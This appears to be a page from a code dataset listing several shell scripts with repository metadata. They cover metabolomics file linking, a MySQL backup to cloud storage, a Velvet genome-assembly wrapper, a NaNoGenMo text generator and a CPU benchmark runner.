MZML_FILES="$(cat ${ISA_A} | awk -F $'\t' "{ print \$${MZML_COLUMN} }" | sed -e "s/\"//g" | grep mzML | grep MM8)"
MZML_FILES=(${MZML_FILES})
SAMPLE_COLUMN=0; for ((i=1;i<=50;i++)); do SAMPLE_COLUMN=$[${SAMPLE_COLUMN}+1]; c="$(cat ${ISA_A} | head -n 1 | awk -F $'\t' "{ print \$${i} }")"; if [[ "${c}" == "\"Sample Name\"" ]]; then break; fi; done
DATE_COLUMN=0; for ((i=1;i<=50;i++)); do DATE_COLUMN=$[${DATE_COLUMN}+1]; c="$(cat ${ISA_S} | head -n 1 | awk -F $'\t' "{ print \$${i} }")"; if [[ "${c}" == "\"Characteristics[LCMS Date]\"" ]]; then break; fi; done
SEASONS="$(cat ${ISA_A} | awk -F $'\t' "{ print \$${SAMPLE_COLUMN} }" | sed -e "s/\"//g" | grep -v Sample | grep QC | sed -e "s/_[0-9][0-9]$//" | sed -e "s/.*_//" | awk '!a[$0]++')"
SEASONS=(${SEASONS})
SEASON_DATES="$(cat ${ISA_S} | awk -F $'\t' "{ print \$${DATE_COLUMN} }" | grep -v \"\" | sed -e "s/\"//g" | grep -v Date | awk '!a[$0]++')"
SEASON_DATES=(${SEASON_DATES})
# Create fake directories
for ((i=0; i<${#SEASONS[@]}; i++)); do
mkdir -p input/${SEASON_DATES[${i}]}-${SEASONS[${i}]}/QC
done
# Link files
STUDY_NAMES="$(cat /tmp/studyfile_names.txt | perl -pe 's/\,$//g')"
STUDY_NAMES=(${STUDY_NAMES})
STUDY_FILES="$(cat /tmp/studyfile_files.txt | perl -pe 's/\,$//g')"
STUDY_FILES=(${STUDY_FILES})
NUMBER=${#STUDY_FILES[@]}
for ((i=0; i<${NUMBER}; i++)); do
ln -s "${STUDY_FILES[${i}]}" "${STUDY_NAMES[${i}]}"
done
# Convert variables to arrays
SEASONS_DATES="$(cat ${ISA_A} | awk -F $'\t' "{ print \$${SAMPLE_COLUMN} }" | sed -e "s/\"//g" | grep -v Sample | grep QC | sed -e "s/_[0-9][0-9]$//" | sed -e "s/.*_//" | sed -e "s/${SEASONS[0]}/${SEASON_DATES[0]}/" | sed -e "s/${SEASONS[1]}/${SEASON_DATES[1]}/" | sed -e "s/${SEASONS[2]}/${SEASON_DATES[2]}/" | sed -e "s/${SEASONS[3]}/${SEASON_DATES[3]}/")"
SEASONS_DATES=(${SEASONS_DATES})
SEASONS="$(cat ${ISA_A} | awk -F $'\t' "{ print \$${SAMPLE_COLUMN} }" | sed -e "s/\"//g" | grep -v Sample | grep QC | sed -e "s/_[0-9][0-9]$//" | sed -e "s/.*_//")"
SEASONS=(${SEASONS})
NUMBER=${#MZML_FILES[@]}
# Move links to directories
for ((i=0; i<${NUMBER}; i++)); do
mv "${MZML_FILES[${i}]}" "input/${SEASONS_DATES[${i}]}-${SEASONS[${i}]}/QC/"
done
| true |
2194513c278117c9e829b67407b7184d8e7d4860 | Shell | incredimike/various-helpful-scripts | /backup/mysql2cloudfiles.sh | UTF-8 | 590 | 3.265625 | 3 | [] | no_license | #!/bin/bash
# name of database to dump and username and password with access to that database
MYSQL_DB="--all-databases"
MYSQL_USER=""
MYSQL_PASS=""
#create output file name with database name, date and time
OUTPUT_PATH="/backup/mysql"
NOW=$(date +"%Y-%m-%d")
FILE=${MYSQL_DB}.$NOW-$(date +"%H-%M-%S").sql.gz
CLOUDFILES_CONTAINER=""
export CLOUDFILES_USERNAME=
export CLOUDFILES_APIKEY=
export PASSPHRASE=
# dump the database and gzip it
mysqldump ${MYSQL_DB} -u ${MYSQL_USER} -p${MYSQL_PASS} | gzip -9 > ${OUTPUT_PATH}/${FILE}
duplicity ${OUTPUT_PATH} cf+http://${CLOUDFILES_CONTAINER}
| true |
d4d15c7017040930fb05ff4412de32251ebae4d3 | Shell | jueliansiow/heteroplasmy | /velvetscript.sh | UTF-8 | 8,119 | 3.765625 | 4 | [] | no_license | #!/bin/sh
##### Parsing arguments to the rest of the file.
function show_help()
{
echo "This is a pipeline to trim and subsample NGS raw data from a fastq.gz file using seqtk and fastquils. Seqtk and fastquils have to be installed and accessible from any directory prior to running this script."
echo ""
echo "./testingoptions.sh"
echo "\t-h --help"
echo "\t-o --outputdirectory= Enter the directory where files will be output to after analysis."
echo "\t-i --inputdirectory= Enter the directory where the files are to be used for analysis."
echo "\t-l --lowkmer= Enter the lowest kmer value to calculate from. Has to be an odd number"
echo "\t-a --interval= Enter the interval between kmer values which will be calculated. Has to be an even number."
echo "\t-k --highkmer= Enter the highest kmer value to calculate to. Has to be an odd number."
echo "\t-g --velvetgoptions= Enter the options that you want velvetg to run. You must include double quotation marks. "[-cov_cutoff value] [-min_contig_lgth value] [-exp_cov value]". Refer to the velvet manual for a full list of options. The clean option has already been added."
echo ""
}
outputdirectory=
interval=
lowkmer=
highkmer=
velvetgoptions=
inputdirectory=
while :; do
case $1 in
-h|-\?|--help) # Call a "show_help" function to display a synopsis, then exit.
show_help
exit
;;
-o|--outputdirectory)
if [ -n "$2" ]; then
outputdirectory=$2
shift 2
continue
else
printf 'ERROR: "--outputdirectory" requires a non-empty option argument.\n' >&2
exit 1
fi
;;
--outputdirectory=?*)
outputdirectory=${1#*=} # Delete everything up to "=" and assign the remainder.
;;
--outputdirectory=) # Handle the case of an empty --file=
printf 'ERROR: "--outputdirectory" requires a non-empty option argument.\n' >&2
exit 1
;; --) # End of all options.
shift
break
;;
-l|--lowkmer)
if [ -n "$2" ]; then
lowkmer=$2
shift 2
continue
else
printf 'ERROR: "--lowkmer" requires a non-empty option argument.\n' >&2
exit 1
fi
;;
--lowkmer=?*)
lowkmer=${1#*=} # Delete everything up to "=" and assign the remainder.
;;
--lowkmer=) # Handle the case of an empty --file=
printf 'ERROR: "--lowkmer" requires a non-empty option argument.\n' >&2
exit 1
;; --) # End of all options.
shift
break
;;
-a|--interval)
if [ -n "$2" ]; then
interval=$2
shift 2
continue
else
printf 'ERROR: "--interval" requires a non-empty option argument.\n' >&2
exit 1
fi
;;
--interval=?*)
interval=${1#*=} # Delete everything up to "=" and assign the remainder.
;;
--interval=) # Handle the case of an empty --file=
printf 'ERROR: "--interval" requires a non-empty option argument.\n' >&2
exit 1
;; --) # End of all options.
shift
break
;;
-k|--highkmer)
if [ -n "$2" ]; then
highkmer=$2
shift 2
continue
else
printf 'ERROR: "--highkmer" requires a non-empty option argument.\n' >&2
exit 1
fi
;;
--highkmer=?*)
highkmer=${1#*=} # Delete everything up to "=" and assign the remainder.
;;
--highkmer=) # Handle the case of an empty --file=
printf 'ERROR: "--highkmer" requires a non-empty option argument.\n' >&2
exit 1
;; --) # End of all options.
shift
break
;;
-g|--velvetgoptions)
if [ -n "$2" ]; then
velvetgoptions=$2
shift 2
continue
else
printf 'ERROR: "--velvetgoptions" requires a non-empty option argument.\n' >&2
exit 1
fi
;;
--velvetgoptions=?*)
velvetgoptions=${1#*=} # Delete everything up to "=" and assign the remainder.
;;
--velvetgoptions=) # Handle the case of an empty --file=
printf 'ERROR: "--velvetgoptions" requires a non-empty option argument.\n' >&2
exit 1
;; --) # End of all options.
shift
break
;;
-i|--intputdirectory)
if [ -n "$2" ]; then
inputdirectory=$2
shift 2
continue
else
printf 'ERROR: "--inputdirectory" requires a non-empty option argument.\n' >&2
exit 1
fi
;;
--inputdirectory=?*)
inputdirectory=${1#*=} # Delete everything up to "=" and assign the remainder.
;;
--inputdirectory=) # Handle the case of an empty --file=
printf 'ERROR: "--inputdirectory" requires a non-empty option argument.\n' >&2
exit 1
;; --) # End of all options.
shift
break
;;
-?*)
printf 'WARN: Unknown option (ignored): %s\n' "$1" >&2
;;
*) # Default case: If no more options then break out of the loop.
break
esac
shift
done
#####
echo Input_directory=$inputdirectory
echo Output_directory=$outputdirectory
echo Low_kmer=$lowkmer
echo Inverval=$interval
echo High_kmer=$highkmer
echo Velvetg_options=$velvetgoptions
##### Suppose --numreads is a required option. Ensure the variable "file" has been set and exit if not.
if [ -z "$outputdirectory" ]; then
printf 'ERROR: option "--outputdirectory FILE" not given. See --help.\n' >&2
exit 1
fi
if [ -z "$lowkmer" ]; then
printf 'ERROR: option "--lowkmer FILE" not given. See --help.\n' >&2
exit 1
fi
if [ -z "$interval" ]; then
printf 'ERROR: option "--interval FILE" not given. See --help.\n' >&2
exit 1
fi
if [ -z "$highkmer" ]; then
printf 'ERROR: option "--highkmer FILE" not given. See --help.\n' >&2
exit 1
fi
if [ -z "$inputdirectory" ]; then
printf 'ERROR: option "--inputdirectory FILE" not given. See --help.\n' >&2
exit 1
fi
##### find/define files and directories.
fwd_reads=$(find $inputdirectory -name '*.1.fastq')
rev_reads=$(find $inputdirectory -name '*.2.fastq')
fwd_name=$(basename $fwd_reads)
rev_name=$(basename $rev_reads)
##### Message
echo "Name_of_forward_file=$fwd_name"
echo "Name_of_reverse_file=$rev_name"
echo "Running velveth pre-processing"
##### Change directory
cd $inputdirectory
##### Running velveth on a range of different kmer values.
velveth $outputdirectory/ $lowkmer,$highkmer,$interval -fastq -shortPaired -separate $fwd_name $rev_name -noHash
##### Message
echo "Velvet pre-processing completed. Now running velveth"
##### Running velveth on the kmer values that have been pre-calculated.
velveth $outputdirectory/ $lowkmer,$highkmer$interval, -reuse_Sequences
##### Message
echo "Velveth completed. Now running velvetg"
##### Changed the directory
cd $outputdirectory
##### Run velvetg on all folders which velveth has been completed.
for f in _*
do
echo "... Processing $f file ..."
velvetg $outputdirectory/$f $velvetgoptions -clean yes
sed -n '24p;34p' $outputdirectory/$f/log >> $outputdirectory/compiledvelvetresults
echo "Completed processing $f file."
done
##### Complete.
echo "Velvet script complete" | true |
9a2e5fb1483786d315134a9d0f0d92c0b1fb3ac8 | Shell | hornc/nanogenmo2019-cassandra | /nano-cassandra.sh | UTF-8 | 960 | 3.359375 | 3 | [] | no_license | #!/bin/bash
e(){
egrep $@
}
h(){
shuf -n1
}
f(){
e -B5 -A5 "$1" $2|tr -d '\n'|sed 's/ --/\n/g;s/^[^\.]*\([A-Z\.].\{18,\}\.\).*$/\1/'|h
}
x(){
sed "$1"<<<$2
}
se(){
S=''
K=$(x 's/ /\n/g;s/-//g' "$1"|sort -n|uniq)
for k in $K; do
s=$(f $k $2)
until [ -z $k ] || [ ! -z "$s" ];do
k=$(x 's/^.//' $k)
s=$(f $k $2)
done
S+=$s
done
echo $S
}
re(){
o=$1
for w in $(e -o "\b\w[a-z]{$3,}\b"<<<$1|e -vi cass|shuf -n210);do
o=$(x "s/$w/$(e -o "\b\w[a-z]{$4,}\b" $2|h)/g" "$o")
done
echo $o
}
while read l;do
g=''
if [ $(wc -m<<<"$l") -gt 40 ];then
l=$(x "s/-\+/$(e -o "\w[a-z]{7,}" $2|h)/g" "$l")
g=$(re "$(se "$l" $2)" $1 4 4)
l=$(re "$l" $2 7 7)
x 's/^\([^\.]*\).*$/\1./' "$l"|tr -d '\n'
if [[ $l =~ Phoe ]];then
g=$(cut -d' ' -f-200<<<$g)
fi
fi
x "s/\(NOVEL\)/GENERATED \1/;s/\(AUTHOR\)/\1MATON/;s/by \(pe.*\b\) to \(Miss\)/without any \1 whatsoever to the \2es/;s/^[^\.]*\.\(.*\)$/\1/;s/hrough/hro'/g;s/ful\([^l]\)/full\1/g;s/\band\b/\&/g;s/ien/ein/g" "$g$l"
done<$1
| true |
83d05d0e237cb5551ed9bdc3ad45eb11705bb9fb | Shell | slavistan/cpu-performance-study | /benchmarks/false-sharing/benchmark.sh | UTF-8 | 942 | 3.46875 | 3 | [] | no_license | #!/usr/bin/sh
if [ "$1" = "run" ]; then
# run benchmark and store unformatted output
bin_path="$2"
rawcsv_path="$3"
$bin_path \
--benchmark_repetitions=5 \
--benchmark_report_aggregates_only=true \
--benchmark_out_format=csv \
--benchmark_format=csv \
--benchmark_out="$rawcsv_path"
exit 0
elif [ "$1" = "format" ]; then
# extend and format raw csv data
raw_data="$2"
formatted_data="$3"
cat "$raw_data" \
| sed '1,/^name,iteration/ s/^/#/g' \
| sed 's/^#name,iteration/name,iteration/g' \
| sed '/median/ d' \
| sed 's/^name/scheme,matrixdim,metric/g' \
| tr -d '"' \
| sed 's:jor/\([[:digit:]]\+\)_:jor,\1,:g' \
> "$formatted_data"
exit 0
elif [ "$1" = "report" ]; then
formatted_data="$2"
out_dir="$3"
Rscript "$(dirname $(realpath $0))/plot.R" "$formatted_data" "$out_dir"
exit 0
else
echo "Usage: $0 <run|format|report> <input> <output>"
exit 0
fi
| true |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.